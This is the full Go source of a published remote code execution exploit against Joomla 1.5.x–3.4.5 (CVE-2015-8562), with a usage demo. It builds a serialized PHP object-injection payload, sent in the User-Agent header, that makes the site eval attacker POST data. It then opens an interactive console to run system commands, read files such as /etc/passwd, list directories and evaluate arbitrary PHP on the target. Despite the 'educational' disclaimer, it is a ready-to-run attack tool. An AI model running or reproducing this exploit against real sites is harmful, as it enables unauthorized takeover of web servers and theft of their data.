Joomla 1.5.x to 3.4.5 Object Injection Exploit (golang)

[irancrash () gmail com]

package main

/*
**************************************************************************
* Exploit Title: Joomla 1.5.x to 3.4.5 Object Injection Exploit
* Exploit Author: Khashayar Fereidani ( http://fereidani.com )
* Version: 1.5.x to 3.4.5
* CVE : CVE-2015-8562
**************************************************************************
* THIS EXPLOIT PUBLISHED ONLY FOR EDUCATIONAL PROPOSES ANY ILLEGAL USAGE
*                     IS ON YOUR OWN RESPONSIBILITY
**************************************************************************
* How to run : (you need golang compiler from golang.org)
* go run exploit.go http://target/path
* or
* go build exploit.go
* ./exploit http://target/path
**************************************************************************
* DEMO :

$ ./exploit 192.168.1.113/joomla
###############################################
# Joomla Remote Command Execution 0day Exploit
# Exploited by: Khashayar Fereidani
# http://fereidani.com
# Vulnerable Versions: 1.5.x to 3.4.5
###############################################

Attacking to  http://FILTERED.TLD/joomla/
Target is vulnerable !
# Command Line Documentation :
read FILEPATH                   read file from FILEPATH
dir DIRPATH                     list directory in DIRPATH
exec COMMAND                    execute system command
eval phpcode                    evaluate PHP Code
help                            display this help
exit                            close exploit console

[*] Examples:
read /etc/passwd
dir /etc/
exec ls -lah
eval include('/etc/passwd')


root@joomla:$ exec uname -a
Linux vm2.local 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:16:20 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
root@joomla:$

 */

import (
        "fmt"
        "net/http"
        "regexp"
        "os"
        "io/ioutil"
        "bytes"
        "net/http/cookiejar"
        "net/url"
        "bufio"
        "strings"
)


var target string;


var helpString=`# Command Line Documentation :
read FILEPATH                   read file from FILEPATH
dir DIRPATH                     list directory in DIRPATH
exec COMMAND                    execute system command
eval phpcode                    evaluate PHP Code
help                            display this help
exit                            close exploit console

[*] Examples:
read /etc/passwd
dir /etc/
exec ls -lah
eval include('/etc/passwd')

`

var validHttpUrl=regexp.MustCompile("^http[s]{0,1}://")

var resultRegex=regexp.MustCompile("(?sm)iMH3r3=(.*)")

var cmdRegex=regexp.MustCompile("(\\w+)\\s(.+)")

var newLine=regexp.MustCompile("[\\n\\r]")

var client *http.Client

func newRequest(command string) *http.Request{
        values:=url.Values{}
        values.Set("1","echo('iMH3r3=');"+command+";")

        req,err:=http.NewRequest("POST",target,bytes.NewBufferString(values.Encode()))

        if err!=nil{
                panic(err)
        }

        
req.Header.Set("User-Agent",`123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:43:"eval($_POST[1]);JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}`+"\xf0\xfd\xfd\xfd")
        req.Header.Add("Content-Type", "application/x-www-form-urlencoded")
        return req
}


func escape(str string) string{
        return strings.Replace(str,"'","\\'",-1)
}


func runCommand(command string){
        res,err:=client.Do(newRequest(command))

        if err!=nil{
                fmt.Println(err.Error())
        }else{
                defer res.Body.Close()
                resBytes,err:=ioutil.ReadAll(res.Body)
                str:=string(resBytes)

                if err!=nil{
                        fmt.Println(err)
                }
                match:=resultRegex.FindStringSubmatch(str)
                if len(match)>0{
                        fmt.Print(match[0][7:])
                }
        }

}


func confirm() bool{
        res,err:=client.Do(newRequest(""))

        if err!=nil{
                fmt.Println(err)
                return false
        }else{
                if res.StatusCode==500{
                        fmt.Println("Patched PHP Version :( !")
                        return false
                }
                defer res.Body.Close()
                resBytes,err:=ioutil.ReadAll(res.Body)
                str:=string(resBytes)

                if err!=nil{
                        fmt.Println(err)
                }
                match:=resultRegex.FindStringSubmatch(str)
                if len(match)>0{
                        return true
                }else{
                        return false
                }
        }
}

func main(){
        fmt.Print(`###############################################
# Joomla Remote Command Execution 0day Exploit
# Exploited by: Khashayar Fereidani
# http://fereidani.com
# Vulnerable Versions: 1.5.0 to 3.4.5
###############################################
`)
        options := cookiejar.Options{}

        jar, err := cookiejar.New(&options)
        if err != nil {
                panic(err)
        }

        client = &http.Client{
                Jar:jar,
        }



        if len(os.Args)<2{
                fmt.Println("Insufficient input , please run ./exploit http://targeturl/path/";)
                return
        }

        target=os.Args[1]
        if(!validHttpUrl.MatchString(target)){
                target="http://"+target
        }

        if string(target[len(target)-1])!="/"{
                target+="/"
        }

        fmt.Println("Attacking to ",target)


        res,err:=client.Do(newRequest(""))
        if err!=nil{
                fmt.Println("Request Error:",err)
                return
        }
        ioutil.ReadAll(res.Body)
        res.Body.Close()

        if confirm(){
                fmt.Println("Target is vulnerable !")
                //runCommand("system('ls -la')")
                stdinreader := bufio.NewReader(os.Stdin)

                fmt.Println(helpString)
                for {
                        var line string
                        fmt.Print("root@joomla:$ ")
                        line,_=stdinreader.ReadString('\n')
                        line=newLine.ReplaceAllString(line,"")
                        match:=cmdRegex.FindStringSubmatch(line)
                        if len(match)<3 {
                                if (line=="exit"){
                                        return
                                }

                                if !(line=="help"){
                                        fmt.Println("Wrong input !")
                                }

                                fmt.Println(helpString)
                        }else{
                                cmd:=match[1]
                                input:=escape(match[2])
                                switch cmd {
                                case "exec":
                                        runCommand("system('"+input+"')")
                                case "read":
                                        runCommand("readfile('"+input+"')")
                                case "dir":
                                        runCommand("$a=scandir('"+input+"');foreach($a as $v){echo $v.\"\\n\";}")
                                case "eval":
                                        runCommand(match[2])
                                }
                        }
                }
        }else{
                fmt.Println("Target is not vulnerable!")
        }


}